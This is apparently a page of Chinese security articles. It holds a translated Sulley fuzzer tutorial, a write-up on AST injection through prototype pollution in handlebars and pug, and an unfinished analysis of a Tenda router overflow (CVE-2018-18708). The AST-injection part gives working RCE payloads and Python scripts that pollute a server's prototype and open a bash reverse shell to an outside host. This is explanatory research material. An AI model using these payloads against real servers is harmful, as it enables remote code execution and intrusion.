* **REQUESTS.html：** 此文件包含存储的请求类别的说明，并列出了各种类型。 以字母顺序。
* **http.py：** 各种Web服务器fuzzing测试请求。
* **trend.py：** 包含与本文档后面讨论的完整的fuzz演练相关的请求。
**sulley：** fuzzer框架。 除非您想扩展框架，否则您不需要触接触这些文件。
* **legos：** 用户定义的复杂基元:
ber.py:ASN.1 / BER原语
cerpc.py:Microsoft RPC NDR原语
misc.py: 各种未分类的复杂原语，如电子邮件地址和主机名
xdr.py:XDR类型
* **pgraph：** Python图形抽象库。 在建立session中使用。
* **utils：** 各种帮助程序。
dcerpc.py：Microsoft RPC帮助程序例程，例如绑定到接口和生成请求。
misc.py：各种未分类的例程，例如CRC-16和UUID操作例程。
scada.py：SCADA特定的辅助程序，包括DNP3block编码器。
* init.py：此处定义了用于创建请求的各种's_'别名。
* blocks.py：Blocks和Blocks helps在这里定义。
* pedrpc.py：此文件定义了Sulley用于各种代理和主要的fuzzer之间通信的客户端和服务器类。
* primitives.py：这里定义了各种fuzzer原语，包括静态，随机，字符串和整数。
* sessions.py：用于构建和执行会话的功能
* sex.py:Sulley的自定义异常处理类
* **unit_tests:** Sulley's unit testing harness.
* **utils：** 各种独立的实用程序。
ida_fuzz_library_extend.py：一个IDApython脚本，它静态搜索二进制文件以获取扩展fuzz库的值。
crashbin_explorer.py：用于浏览存储在序列化崩溃bin文件中的结果的命令行实用程序
WikiStart
pcap_cleaner.py：用于清除与故障无关的所有条目的PCAP目录的命令行实用程序。
network_monitor.py:PedRPC网络监控代理驱动。
process_monitor.py:PedRPC基于调试器的目标监视代理程序的驱动。
unit_test.py:Sulley的单元测试线束。
vmcontrol.py:PedRPCVMWare控制代理驱动。
# Data Representation
Aitel had it right with
SPIKE，我们已经仔细研究了每一个我可以得到的fuzzer，并且Sulley基于协议的block表示方法比其他的方法更简单，同时也代表了大多数协议的灵活性。Sulley利用基于block的方法生成单独的“request”。然后将这些请求绑定在一起形成“session”。首先，使用新名称进行初始化：
s_initialize("new request")
现在，您开始向request添加基元，block和嵌套block。每个基元都可以单独渲染和变异。渲染原语以原始数据格式返回其内容。变异原语会转换其内部内容。渲染和变异的概念大部分是从fuzzer
developers中抽象出来的，所以不要担心。但是要知道当fuzzable values耗尽时，每个可变基元都会接受一个默认值.
## Static and Random Primitives
让我们从最简单的原语s_static（）开始，它为请求添加任意长度的静态不可变异值。Sulley中有各种别名，s_dunno（），s_raw（）和s_unknown（）都是s_static（）的别名：
# these are all equivalent:（＃这些都是等价的：）
s_static("pedram\x00was\x01here\x02")
s_raw("pedram\x00was\x01here\x02")
s_dunno("pedram\x00was\x01here\x02")
s_unknown("pedram\x00was\x01here\x02")
基元，block等都采用可选的关键字名称作为参数。指定名称允许您通过request.namesname直接从请求访问命名项，而不必遍历block结构以到达所需元素。
与上述相关但不相同的是s_binary（）原语，它接受以多种格式表示的二进制数据。 SPIKE用户将识别此API，其功能（或者应该）与您已熟悉的相同:
# yeah, it can handle all these formats.（＃是的，它可以处理所有这些格式。）
s_binary("0xde 0xad be ef \xca fe 00 01 02 0xba0xdd f0 0d", name="complex")
Sulley的大多数原语都是由“fuzz heuristics”驱动的，因此具有有限数量的变异。
一个例外是s_random（）原语，它可用于生成不同长度的随机数据。
该原语采用两个必需参数'min_length'和'max_length'，分别指定在每次迭代时生成的随机数据的最小和最大长度。
该原语还接受以下可选关键字参数：
* num_mutations: (integer, default=25) 恢复为默认值之前要进行的变异次数。
* fuzzable: (boolean, default=True) 启用或禁用此原语的fuzzing测试。
* name: (string, default=None) 与指定名称的所有Sulley对象一样，您可以在整个请求中直接访问此原语。
通常使用分隔符将字符串解析为子字段。 例如，空格字符用作HTTP请求“GET /index.html HTTP / 1.0”中的分隔符。
同一请求中的前斜杠（/）和点（。）字符也是分隔符。 在Sulley中定义协议时，请务必使用s_delim（）原语表示分隔符。
与其他原语一样，第一个参数是必需的，用于指定默认值。 与其他原语一样，s_delim（）接受选项'fuzzable'和'name'关键字参数。
分隔符突变包括重复，替换和排除。 作为一个完整的示例，请考虑以下基元序列来模糊HTMLbody标签。
# fuzzes the string: <BODY bgcolor="black">
s_delim("<")
s_string("BODY")
s_delim(" ")
s_string("bgcolor")
s_delim("=")
s_delim("\"")
s_string("black")
s_delim("\"")
s_delim(">")
## Fuzz Library Extensions
Sulley的原语包含一个内部的“fuzz library”，一个潜在的有趣的循环值列。 如果您不想破解源文件来扩展字符串和/或整数的fuzz
library，那么您可以轻松地进行外部操作,您只需在要启动模糊驱动程序的目录中创建.fuzz_strings或.fuzz_ints文件即可。
将每个模糊值放在它自己的行上。 Sulley将使用这些文件中的值在运行时更新原始库。
## Blocks
掌握了原语之后，让我们接下来看看它们如何组织和嵌套在block中。
使用closeslock_start（）定义和打开新block，并使用closeslock_end（）关闭。
必须为每个block指定一个名称，并将其指定为closeslock_start（）的第一个参数。 此例程还接受以下可选关键字参数：
* group: (string, default=None) 与此block关联的组的名称，稍后将对此进行更多说明。
* encoder: (function pointer, default=None)指向函数的指针，用于将呈现的数据传递到返回之前。
* dep: (string, default=None) 可选原语，其特定值取决于此block。
* dep_value: (mixed, default=None) 对于要呈现的block，字段“dep”必须包含的值。
* dep_values: (list of mixed types, default=[]) 字段“dep”的值可以包含要呈现的block。
* dep_compare (string, default="==")应用于依赖的比较方法。 有效选项包括："==", "!=", ">", ">=", "<" and "<=".
分组，编码和dependencies是大多数其他框架中没有的强大功能，值得进一步剖析。关于block的重要而简单的注释。 block关闭后无法更新例如：
block-a:
integer
string
size(block-b)
block-b:
integer
Integer
适用于block-b的block-a中的sizer将永远不会在上述场景中呈现，这是因为当block关闭时，所有基元的渲染被bubbled up到block。
所以当block-b关闭并更新sizer时，它实际上并没有bubbled up。
这种限制只是暂时的，在将来可以得到解决。在这种情况下，简单地将sizer放在block-a之外即可。
### Groups
Groupping允许您将block绑定到group原语，以指定block应循环遍历group中每个值的所有可能变异。
例如，group原语用于表示具有类似参数结构的有效操作码或动词的列表。 原语s_group（）定义一个group并接受两个必需参数。
第一个指定group的名称，第二个指定要迭代的可能原始值的列表。 举一个简单的例子，考虑以下完整的Sulley请求，用于fuzz Web服务器：
# import all of Sulley's functionality.
from sulley import *
# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html HTTP/1.1
# define a new block named "HTTP BASIC".
s_initialize("HTTP BASIC")
# define a group primitive listing the various HTTP verbs we wish to fuzz.
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above group.
if s_block_start("body", group="verbs"):
# break the remainder of the HTTP request into individual primitives.
s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".")
s_string("1")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block_end("body")
该脚本首先导入Sulley的所有组件。接下来，初始化新请求并命名为“HTTP
BASIC”。稍后可以引用此名称以直接访问此请求。接下来，使用名称“verbs”和可能的字符串值“GET”，“HEAD”，“POST”和“TRACE”定义group。使用名称“body”启动一个新block，并通过可选的“group”关键字参数将其绑定到先前定义的group原语。请注意，closeslock_start（）始终返回True，这允许您使用简单的if子句选择性地“删除”其包含的基元。另请注意，closeslock_end（）的name参数是可选的。这些框架设计决策纯粹是出于美学目的。然后在“主体”block的限制内定义一系列基本分隔符和字符串基元，并关闭该block。当这个定义的请求被加载到Sulley
session中时，模糊器将为block
“body”生成并传输所有可能的值，对于组中定义的每个动词一次。请注意，group可以独立使用，不必绑定到特定block。
### Encoders
Encoders是一个简单但功能强大的block修饰符。可以指定函数并将其附加到block，以便在返回和通过线路传输之前修改该block的变异内容。
这里有一个很好的真实例子来解释。 Trend Micro ConTrol
Manager的DcsProcessor.exe守护程序侦听TCP端口20901，并期望接收使用专有XOR编码例程格式化的数据。
对decoder进行逆向工程，开发了以下XOR编码程序：
def trend_xor_encode (str):
key = 0xA8534344
ret = ""
# pad to 4 byte boundary.
pad = 4 - (len(str) % 4)
if pad == 4:
pad = 0
str += "\x00" * pad
while str:
dword = struct.unpack("<L", str[:4])[0]
str = str[4:]
dword ^= key
ret += struct.pack("<L", dword)
key = dword
return ret
Sulley
Encoder采用一个单一的参数，要编码的数据并返回编码后数据。这个定义的Encoder现在可以连接到一个包含fuzzable基元的block，允许fuzzer
developer继续，好像这个小障碍永远不存在(This defined encoder can
now be attached to a block containing fuzzable primitives allowing the fuzzer
developer to continue as if this little hurdle never existed.)。
### Dependencies
Dependencies允许您将条件应用于整个block的渲染。 这是通过首先将block链接到原语来实现的，它将依赖于使用可选的'dep'关键字参数。
当Sulley渲染dependant block时，它将检查链接原语的值并相应地表现。 可以使用'dep_value'关键字参数指定相关值。
或者，可以使用'dep_values'关键字参数指定相关值列表。 最后，可以通过'dep_compare'关键字参数修改实际的条件比较。
例如，考虑一种情况，根据整数的值，预期会有不同的数据：
s_short("opcode", full_range=True)
# opcode 10 expects an authentication sequence.
if s_block_start("auth", dep="opcode", dep_value=10):
s_string("USER")
s_delim(" ")
s_string("pedram")
s_static("\r\n")
s_string("PASS")
s_delim(" ")
s_delim("fuzzywuzzy")
s_block_end()
# opcodes 15 and 16 expect a single string hostname.
if s_block_start("hostname", dep="opcode", dep_values=[15, 16]):
s_string("pedram.openrce.org")
s_block_end()
# the rest of the opcodes take a string prefixed with two underscores.
if s_block_start("something", dep="opcode", dep_values=[10, 15, 16], dep_compare="!="):
s_static("__")
s_string("some string")
s_block_end()
Block dependencies可以以任何数量的方式链接在一起，从而允许强大的（但却很复杂）组合。
## Block Helpers
在数据生成方面，要有效利用Sulley必须熟悉的是block helpers。
这包括sizer，校验和(checksums)和中继器(repeaters)。
### Sizers
SPIKE用户将熟悉s_sizer（）（或s_size（））block helper。 block
helper测量块名称来测量的大小作为第一个参数，并接受以下其他关键字参数：
* length :(整数，默认= 4）size字段长度。
* endian :( character，default ='<'）位字段的Endianess。 为小端指定'<'，为大端指定'>'。
格式:(字符串，默认=“二进制”）输出格式，“二进制”或“ascii”，控制整数的格式
原语呈现。
* inclusive :( boolean，default = False）sizer应该计算自己的长度吗？
* signed :( boolean，default = False）使sizers有符号或无符号，仅在format =“ascii”时适用。
* math：（functon，default = None）将此函数中定义的数学运算应用于size。
* fuzzable :( boolean，default = False）启用或禁用此基元的fuzz。
* name :( string，default = None）与所有Sulley对象一样，指定名称使您可以在整个请求中直接访问此原语。
Sizer是数据生成中的关键组件，允许表示复杂协议，如XDR表示法，ASN.1等。Sulley将在渲染sizer时动态计算相关block的长度。
默认情况下，Sulley不会fuzz size字段。 在许多情况下，这是期望的行为，但是，如果不是，则启用fuzzable。
### Checksums
与sizer类似，s_checksum（）帮助程序使用块名称来计算作为第一个参数的校验和。还可以指定以下可选关键字参数：
* algorithm :(字符串或函数指针，默认=“crc32”）。 校验和算法应用于目标block。（crc32，adler32，md5，sha1）
* endian :( character，default ='<'）位字段的编码模式。 为小端指定'<'，为大端指定'>'。
* length :(整数，默认= 0）校验和的长度，保留为0表示自动计算。
* name :( string，default = None）与所有指定名称的Sulley对象一样，您可以在整个请求中直接访问此原语。
'algorithm'参数可以是“crc32”，“adler32”，“md5”或“sha1”之一。 或者，您可以为此参数指定函数指针以应用自定义校验和算法。
### Repeaters
s_repeat（）（或s_repeater（））helper用于复制块可变的次数。这对于再解析具有多个元素的表时进行溢出测试很有帮助。这个helper需要三个参数，即要重复的块的名称，最小重复次数和最大重复次数。
此外，还提供以下可选关键字参数：
* step :(integer ，default = 1）最小和最大代表之间的步数。
* fuzzable :( boolean，default = False）启用或禁用此基元的fuzz。
* name :( string，default = None）与指定名称的所有Sulley对象一样，您可以在整个请求中直接访问此原语。
请思考以下将三个helper绑定在一起的例子。 我们正在fuzz包含一个字符串表的协议的一部分。
表中的每个entry包括一个2字节的字符串类型字段，一个2字节的长度字段，一个字符串字段，最后是一个在字符串字段上计算的CRC-32校验和字段。
我们不知道类型字段的有效值是什么，因此我们将使用随机数据进行fuzz。 以下是在Sulley中的协议的一部分：
# table entry: [type][len][string][checksum]
if s_block_start("table entry"):
# we don't know what the valid types are, so we'll fill this in with random data.
s_random("\x00\x00", 2, 2)
# next, we insert a sizer of length 2 for the string field to follow.
s_size("string field", length=2)
# block helpers only apply to blocks, so encapsulate the string primitive in one.
if s_block_start("string field"):
# the default string will simply be a short sequence of C's.
s_string("C" * 10)
s_block_end()
# append the CRC-32 checksum of the string to the table entry.
s_checksum("string field")
s_block_end()
# repeat the table entry from 100 to 1,000 reps stepping 50 elements on each iteration.
s_repeat("table entry", min_reps=100, max_reps=1000, step=50)
Sulle脚本不仅会fuzz表entry的输入解析，而且可能会发现在处理过长的表时出现的错误。
## Legos
Sulley利用“Legos”来表示用户定义的组件，例如Microsoft RPC，XDR，ASN.1和电子邮件地址，主机名和协议原语等。在ASN.1 /
BER中，字符串表示为序列[0x04][0x84][dword
length][string].。对基于ASN.1的协议进行fuzz时，每个字符串要包含前面的长度和类型前缀可能会变得很麻烦。
相反，我们可以定义Lego并引用它：
s_lego("ber_string", "anonymous")
每个Lego都遵循类似的格式，但可选的'options'关键字参数除外，该参数特定于各个legos。 举个简单的例子，考虑“标签”Lego的定义，在fuzz
XML-ish协议时很有用：
class tag (blocks.block):
def __init__ (self, name, request, value, options={}):
blocks.block.__init__(self, name, request, None, None, None, None)
self.value = value
self.options = options
if not self.value:
raise sex.error("MISSING LEGO.tag DEFAULT VALUE")
#
# [delim][string][delim]
self.push(primitives.delim("<"))
self.push(primitives.string(self.value))
self.push(primitives.delim(">"))
这个Lego示例只是接受所需的tag作为字符串并将其封装在适当的分隔符中。它通过扩展块类并通过self.push（）手动将tag分隔符和用户提供的字符串添加到块堆栈来实现。
这是另一个用于表示Sulley中的ASN.1 / BER整数的Lego的简单例子，选择“最小公分母”将所有整数表示为4字节整数，其格式如下：[0x02]
[0x04] [dword]，其中0x02指定整数类型，0x04指定整数长度为4字节且'dword '代表我们传递的实际整数。以下是来自sulley \
legos \ ber.py的定义：
class integer (blocks.block):
def __init__ (self, name, request, value, options={}):
blocks.block.__init__(self, name, request, None, None, None, None)
self.value = value
self.options = options
if not self.value:
raise sex.error("MISSING LEGO.ber_integer DEFAULT VALUE")
self.push(primitives.dword(self.value, endian=">"))
def render (self):
# let the parent do the initial render.
blocks.block.render(self)
self.rendered = "\x02\x04" + self.rendered
return self.rendered
与前面的示例类似，使用self.push（）将提供的整数添加到block的堆栈中。
与前面的示例不同，render（）例程被重载以使呈现的内容前缀为静态序列“\ x02 \ x04”，以满足先前描述的整数表示要求。
## Final Notes
Sulley随着每个新fuzzer的创造而成长。 开发的block/request扩展了request库，可以很容易地引用并用于构建将来的fuzzers。
有关更详细的API参考，请参阅Epydoc生成的Sulley API文档。 | 社区文章 |
原文 <https://blog.p6.is/AST-Injection/>
# AST 注入, 从原型污染到RCE
> 本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE 。
# AST 注入
[什么是AST](https://en.wikipedia.org/wiki/Abstract_syntax_tree)
NodeJS中的AST
在NodeJS中，AST经常被在JS中使用，作为template engines
（引擎模版）和[typescript](http://nodejs.cn/learn/typescript)等。对于引擎模版，结构如上图所示⬆️。
如果在JS应用中存在原型污染漏洞，任何 AST 都可以通过在`Parser(解析器)`或`Compiler(编译器)`过程中插入到函数中。
在这里，你可以在没有过滤、没有经过`lexer(分析器)`或`parser(解析器)`验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向`Parser(编译器)`非预期的输入。
下面就是展示如何实际中在`handlebars`和`pug`使用AST注入执行任意命令
# Handlebars
截止到编辑文章之时，`handlebars`的总下载量为`998,602,213`次。
`handlebars`是除 ejs 之外最常用的`template engine(模板引擎)`。
## 如何探测
const Handlebars = require('handlebars');
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"})); // Hello posix
在开始之前，这是如何在`handlebars`使用模板的方法。
`Handlebar.compile` 函数将字符串转换为模板函数并传递对象因子以供调用。
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"})); // <script>alert(origin)</script>Hello posix
在这里，我们可以使用原型污染来影响编译过程。
你可以插入任意字符串`payload`到`Object.prototype.pendingContent`中决定你想要的攻击。
当原型污染存在于黑盒环境中时，这使你可以确认服务器正在使用`handlebars`引擎。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
...
appendContent: function appendContent(content) {
if (this.pendingContent) {
content = this.pendingContent + content;
} else {
this.pendingLocation = this.source.currentLocation;
}
this.pendingContent = content;
},
pushSource: function pushSource(source) {
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
}
if (source) {
this.source.push(source);
}
}
...
这是由 `javascript-compiler.js`的 `appendContent`函数完成（`appendContent`is
this？）。如果存在 `pendingContent`，则附加到内容并返回。
`pushSource`使 `pendingContent`的值为 `undefined`，防止字符串被多次插入。
## Exploit
`handlebars`的工作原理如上图所示。
在经过`lexer(分析器)`和`parser(解析器)`生成`AST`之后，它传递给 `compiler.js`
这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。
它就会返回像“Hello posix”这样的字符串（当 msg 是 posix 时）。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
`handlebars` 中的parser(解析器)通过`Number`构造函数强制类型为 `NumberLiteral`的节点的值始终为数字。
然而，在这里你可以使用原型污染去插入一个非数字型的字符串。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
var ast = _parser2['default'].parse(input);
return ast;
}
function parse(input, options) {
var ast = parseWithoutProcessing(input, options);
var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast);
}
首先来看编译函数，它支持两种输入方式，`AST 对象`和`模板字符串`。
当 `input.type` 是`Program`时，虽然输入值实际上是字符串。`Parser` 认为它是已经被`parser.js`
解析过的`AST`了，然后将其发送给而`compiler`不做任何处理。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
...
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
},
Program: function Program(program) {
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
}
...
`compiler`接收到 `AST 对象(AST Object)`（实际上是一个字符串）并将其传到 `accept`方法。
`accept`方法调用`Compiler`的 `this[node.type]`。
然后获取 `AST`的 `body` 属性并将其用于构造函数。
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];
const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
/*
function (container, depth0, helpers, partials, data) {
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
}
*/
所以，你可以构造一个像这样的攻击。
如果您已经通过`parser`，请指定一个无法分配给 `NumberLiteral` 值的字符串。
但是注入 AST 之后，我们可以将任何代码插入到函数中。
## _Example_
const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();
app.use(bodyParser.json())
app.get('/', function (req, res) {
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
res.end(template({}));
});
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
使用具有原型污染漏洞的`flat`模块配置一个有漏洞的服务器示例。
`flat`是一个受欢迎的模块，每周有 461 万次下载
import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" }], "loc": { "start": 0, "end": 0 } }]})# executerequests.get(TARGET_URL)
在获取反弹的shell之后，我们可以执行任意系统命令！
# pug
截至文章编辑之时，`pug`的总下载量为 `65,827,719` 次。
`pug`是一个先前以`jade`名称开发并重命名的模块。 据统计，它是 `nodejs`中第四大最受欢迎的模板引擎
## _如何探测_
const pug = require('pug');const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // <h1>It works</h1>
在 `pug`中使用模板的常见方法如上所示。
`pug.compile` 函数将字符串转换为模板函数并传递对象以供调用。
const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>
这是一种利用原型污染在黑盒环境下探测使用`pug`模板引擎的方法。
当你将 `AST` 插入`Object.prototype.block`时，compiler(编译器)通过引用 `val` 将其添加到缓冲区中。
switch (ast.type) { case 'NamedBlock': case 'Block': ast.nodes = walkAndMergeNodes(ast.nodes); break; case 'Case': case 'Filter': case 'Mixin': case 'Tag': case 'InterpolatedTag': case 'When': case 'Code': case 'While': if (ast.block) { ast.block = walkAST(ast.block, before, after, options); } break; ...
当`ast.type`为`While`时，`ast.block`调用`walkASK`（如果值不存在，则引用`prototype`）
如果模板引用参数中的任何值，则`While` 节点始终存在，因此可靠性被认为是相当高的。
事实上，如果开发人员不会从模板中的参数中引用任何值 。
因为他们一开始并不会使用任何模板引擎。
## _Exploit_
`pug`工作原理如上图所示。
与`handlebars`不同的是，每个过程都被分成一个单独的模块。
`pug-parser` 生成的 `AST`被传递给 `pug-code-gen`并制成一个函数。最后，它将被执行。
<!-- /node_modules/pug-code-gen/index.js -->if (debug && node.debug !== false && node.type !== 'Block') { if (node.line) { var js = ';pug_debug_line = ' + node.line; if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename); this.buf.push(js + ';'); }}
在 `pug` 的compiler(编译器)中，有一个变量存放着名为 `pug_debug_line`的行号，用于调试。
如果 `node.line` 值存在，则将其添加到缓冲区，否则传递。
对于使用 `pug-parser` 生成的 `AST`，`node.line` 值始终指定为整数。
但是，我们可以通过 `AST注入`在 `node.line` 中插入一个非整型的字符串并导致任意代码执行。
const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source, {});console.log(fn.toString());/*function template(locals) { var pug_html = "", pug_mixins = {}, pug_interp; var pug_debug_filename, pug_debug_line; try {; var locals_for_with = (locals || {}); (function (console, msg, process) {; pug_debug_line = 1; pug_html = pug_html + "\u003Ch1\u003E";; pug_debug_line = 1; pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));; pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString()); pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E"; }.call(this, "console" in locals_for_with ? locals_for_with.console : typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ? locals_for_with.msg : typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ? locals_for_with.process : typeof process !== 'undefined' ? process : undefined));; } catch (err) { pug.rethrow(err, pug_debug_filename, pug_debug_line); }; return pug_html;}*/
生成函数的示例。
你可以看到 `Object.prototype.line`值插入在 `pug_debug_line` 定义的右侧。
const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // "uid=0(root) gid=0(root) groups=0(root)\n\n<h1>It worksndefine</h1>"
所以，你可以构造一个像这样的攻击。
通过在 `node.line`值中指定一个字符串，它总是通过解析器定义为数字。
所以，任何命令都可以插入到函数中。
## Example
const express = require('express');const { unflatten } = require('flat');const pug = require('pug');const app = express();app.use(require('body-parser').json())app.get('/', function (req, res) { const template = pug.compile(`h1= msg`); res.end(template({msg: 'It works'}));});app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object);}); app.listen(3000);
在`handlebars`的例子中，`flat` 用于配置服务器。 模板引擎已改为 `pug`
import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" }})# executerequests.get(TARGET_URL)
我们可以在 `block.line`中插入任何代码，并获得一个 反弹shell。
# 结论
我描述了如何执行任意命令， 通过`JS 模板引擎`上的`AST 注入`。
事实上，这些部分很难完全修复 所以我希望这会像`EJS`一样。 | 社区文章 |
# CVE-2018-18708：Tenda路由器缓冲区溢出漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
摘要：本文通过对一个ARM路由器缓冲区溢出漏洞的分析，实践逆向数据流跟踪的思路与方法。
假设读者：了解ARM指令集基础知识、了解栈溢出原理和利用方法、了解通过IDA和GDB进行静态分析与动态跟踪的方法。
阅读本文后：可以了解逆向数据流跟踪的思路与方法
## 1\. 漏洞概要
CVE-2018-18708，多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务（覆盖函数的返回地址）。以下产品和版本受到影响：Tenda
AC7 V15.03.06.44_CN版本；AC9 V15.03.05.19(6318)_CN版本；AC10 V15.03.06.23_CN版本；AC15
V15.03.05.19_CN版本；AC18 V15.03.05.19(6318)_CN版本。
对于该漏洞，并未搜索到现有的漏洞分析文章，漏洞提交者仅通过上图指出漏洞所在的地方，剩下的如何触发利用就需要我们来跟踪分析了。
测试环境：Kali 2020 5.4.0-kali3-amd64
固件下载地址：<https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip>
## 2\. 固件模拟
qemu模拟运行bin/httpd文件时，sub_2E420函数中会检测网络，需要在下图标号1和标号2处对返回值进行patch进行绕过。
同时添加并配置虚拟网桥br0，如此就能跑起来了。
## 3\. 跟踪与分析
分析一般有两种思路：
* 正向数据流跟踪：从输入函数开始跟踪数据处理逻辑。
* 逆向数据流跟踪：从操作函数反向跟踪参数的数据流，找到源缓冲区和目的缓冲区。
因为我们已经知道了目标漏洞代码的位置，这里采用逆向数据流跟踪的方式。根据图中的字符串，检索到代码位于sub_c24C0中。
### 3.1 梳理函数调用关系
在我们之前解决网络问题时程序已经执行到了sub_2E420函数，而溢出点位于sub_c24C0函数。因此我们将这中间的函数调用过程都梳理出来：
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC <- sub_2E420
### 3.2 跟踪参数来源
跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
（1）源地址s来源于sub_C24C0的a1参数
sub_C24C0(a1,a2){
dest = a2
s = a1
src = a1中的'r'位置
if (src){
strcpy(dest +32, s)
strcpy(dest, src)
}
}
（2）sub_C24C0的a1参数来源于sub_C17A0的a2参数
sub_C17A0(a1, a2, a3){
v5=a2
v21为本地变量 160字节
sub_C24C0(v5, v21)
}
（3）sub_C17A0的a2参数来源于sub_C14DC的a2参数
sub_C14DC(a1, a2){
s = a2
if(*s){
sub_C17A0(v4, s, v16)
}
（4）sub_C14DC的a2参数来源于formSetMacFilterCfg函数的v39
formSetMacFilterCfg(){
v40 = sub_2BA8C(v3, "macFilterType", &unk_F5124)
v41 = sub_C10D0(V40)
if (not v41){
v39 = sub_2BA8C(v3, "deviceList", &unk_F5124)
sub_C14DC(v40, v39)
}
}
变量v39是`sub_2BA8C(v3, "deviceList", &unk_F5124)`函数的返回值。
由此可以判断出，程序获取到HTTP请求中deviceList的值，并一路传递到sub_c24C0函数的漏洞点。
### 3.3 路径中的分支跳转条件
之前得到了函数调用关系：
sub_C24C0 <\- sub_C17A0 <\- sub_C14DC <\- formSetMacfiltercfg <\- sub_42378
<\- sub_2E9EC <\- sub_2E420
我们需要对路径中的分支跳转判断条件一一满足，这里配合使用IDA的Graph视图、反编译和GDB动态调试来完成分析。
（1）sub_2E9EC <\- sub_2E420
网络检测后，无分支。
（2）sub_42378 <\- sub_2E9EC
有分支判断，但已经满足。
（3）formSetMacfiltercfg <\- sub_42378
如上图，该函数中有对不同功能的处理函数。显然请求到指定路径，会调用相应的处理函数，我们得找到执行formSetMacfiltercfg函数的路径。
